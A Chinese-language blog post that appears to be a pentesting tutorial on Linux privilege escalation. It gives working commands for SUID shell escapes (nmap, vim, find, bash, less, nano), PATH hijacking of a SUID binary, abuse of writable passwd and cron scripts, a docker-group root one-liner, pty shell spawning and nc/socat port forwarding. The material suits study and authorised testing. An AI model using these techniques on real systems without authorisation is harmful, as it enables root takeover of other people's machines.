稍微总结了一下关于 Linux 提权的小知识

内核提权

查看发行版本

1
2
3
cat /etc/issue
cat /etc/*-release
lsb_release -a

查看内核版本

1
uname -a

大多内核漏洞通过内核版本能很快查到

用 kali 自带的 searchsploit 来搜索 exploitdb 中的漏洞利用代码

根据自己的搜索结果,增加搜索选项,缩小结果范围

1
searchspoit priv esc linux 2.6 ubuntu

利用第三方工具搜集信息

linux-exploit-suggester

Linux_Exploit_Suggester 能够列举出给定内核在每个公开的Linux内核漏洞上的暴露情况。

Example:

./linux-exploit-suggester.sh –uname

linux-exploit-suggester-2

Linux_Exploit_Suggester 是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行 uname -r 返回的操作系统发行版本,或者手工输入-k 参数查找指定版本号

Example:

perl ./Linux_Exploit_Suggester.pl -k 3.0.0

linuxprivchecker

Linuxprivchecker 本地执行,可以列举出基本的系统信息并搜索常见的提权信息,如普通用户可写文件,错误配置,明文密码和可用的 exp。

Example:

python Linuxprivchecker.py

LinEnum

LinEnum 可以列出详细的各种系统、文件和服务信息,定位出可能存在提权的地方,与上面的 linuxprivchecker 类似

Example:

./LinEnum.sh -r report -e /tmp/ -t

当内核版本没有好用的exp对应的时候,可以检查磁盘格式

1
cat /etc/fstab

和已经安装的程序

1
2
dpkg -l
rpm -qa

明文 root 密码提权

大多 linux 系统的密码都和 /etc/passwd 和 /etc/shadow 这两个配置文件息息相关。passwd 里面存储了用户,shadow 里面存储了密码的 hash

出于安全考虑 passwd 是全用户可读,root可写的,而 shadow 是仅 root 可读写的

检查文件权限

1
2
cd /etc
ls -l passwd shadow

/etc/passwd 可写

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了

如果 passwd 可写,我们就可以把 root 的密码字段替换成一个已知密码的 hash,这样系统在验证密码时以 passwd 的为准

/etc/shadow 可读

如果shadow可读,我们可以读走 root 的 hash,然后用 hashcat 或者 john 暴力破解。

启动终端

出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo 在你输入密码的时候本质上是读取了键盘,而不是 bash 里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。我们可以利用 python 启动一个终端

1
python -c 'import pty;pty.spawn("/bin/sh")'

就用 python 建立了一个虚拟终端,然后就可以使用 sudo 等等命令了。

1
2
3
4
python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
[sudo] password for ctf:
Sorry, try again.

sudo 滥用

sudo 是让普通用户使用超级用户的命令,其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。

利用 sudo -l 查看当前用户可使用的 sudo 命令

然后我们可以参考 https://gtfobins.github.io 进行提权

强烈推荐此博客,它整理了 Unix 内部可用于绕过本地安全限制的二进制文件

计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc 内系统的计划任务可以被列出

1
ls -l /etc/cron*

默认这些程序以 root 权限执行,如果有幸遇到其中一个脚本被配置成任意用户可写,我们就可以修改脚本等反弹 root shell。

rontab 计划任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。

SUID 提权

SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如 passwd 命令,就是以 root 权限运行来修改 shadow 的。

注意:只有这个程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。

参考:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

命令行查找 SUID 文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}

这里举一个例子:

1
2
3
4
5
6
7
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0); // 以root用户执行
system("id");
}

以 root 进行编译和权限设置

1
2
3
gcc pri.c -o pri
chmod u+s ./pri # 这里设置了SUID位
ls -l

输出

1
2
3
total 24
-rwsr-xr-x 1 root root 16616 May 27 05:59 pri
-rw-r--r-- 1 root root 95 May 27 05:57 pri.c

注意 s 属性,表示这个程序有 SUID 属性。

接下来我们切换用户并执行可以发现提权成功

1
2
su ctf
./pri

image-20200527180232737

而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的 pri 程序使用了 system 函数,system 函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。

继续以上面的 pri 程序为例,我们来尝试劫持 id 命令,修改环境变量路径

1
2
echo $PATH
export PATH=/tmp:$PATH

方法一

修改 id 命令

1
2
echo '/bin/sh' > /tmp/id
chmod 777 /tmp/id

方法二

直接复制一个 bash

1
cp /bin/sh /tmp/id

方法三

建立一个软链接(需要一定的权限)

1
2
ls -l /bin/sh /tmp/id
export PATH=.:$PATH

运行程序提权

1
2
3
4
$ ./pri
# whoami
root
#

这里列出一些常用的可用于 SUID 提权的文件

这里我们也可以再次借鉴神博客 https://gtfobins.github.io

1
2
3
4
5
6
7
8
- nmap
- Vim
- find
- bash
- more
- less
- nano
- cp

namp

较旧版本的 Nmap(2.02~5.21)带有交互模式,从而允许用户执行 shell 命令。由于 Nmap 位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

可以使用下命令进入namp交互模式

1
nmap --interactive

执行命令后会返回一个shell

1
2
3
nmap> !sh
sh-3.2# whoami
root

而在 Metasploit 中也有一个模块可以通过 SUID nmap 进行提权

1
exploit/unix/local/setuid_nmap

vim

Vim 的主要用途是用作文本编辑器。 但是,如果以 SUID 运行,它将继承 root 用户的权限,因此可以读取系统上的所有文件

1
vim /etc/shadow

find

如果 find 以 SUID 权限运行,所有通过 find 执行的命令都会以 root 权限运行

1
2
touch test
find test -exec whoami \;

bash

以下命令将以 root 身份打开一个 bash shell

1
2
3
bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

less

程序 less 也可以执行提权后的 shell

1
2
less /etc/passwd
!/bin/sh

nano

以下命令可以打开一个提权后的 shell

1
2
3
./nano
^R^X
reset; sh 1>&0 2>&0

cp

写文件

1
2
LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"

执行命令

1
2
3
4
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE

Docker 组提权

docker 组用户提权,目的是利用 docker 组的用户来提权,因为 docker 组用户在容器下为 root 权限,通过挂载方式在容器下给本机添加 sudo 权限的用户,从而可以利用 sudo 命令。

参考 https://fosterelli.co/privilege-escalation-via-docker.html

普通用户执行这条命令就可以获得root权限

1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

如果没有拥有 sudo 权限的用户,是无法执行 sudo 命令,在 kali 下会提示用户不在 sudoers 等提示。

服务漏洞

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。

1
netstat -antup # 查看各种网络服务

如果找到些神秘的服务,可以用 netcat 或者 socat 等工具做端口转发

nc 单向转发

1
nc -l 8080 | nc remote_host 4444

nc 双向转发

1
mkfifo backpipe nc -l 8080 0<backpipe | nc remote_host 4444 1>backpipe

socat tcp 转发

1
socat -d TCP4-LISTEN:80,reuseaddr,fork TCP4:remote_host:4444

socat udp 转发

1
socat -T 600 UDP4-LISTEN:5353,reuseaddr,fork UDP4:remote_host:4444

常见服务漏洞

  • redis
  • mysql
  • mssql
  • nfs

参考资料

https://www.freebuf.com/articles/system/129549.html

http://zone.secevery.com/article/1104

https://cloud.tencent.com/developer/article/1544037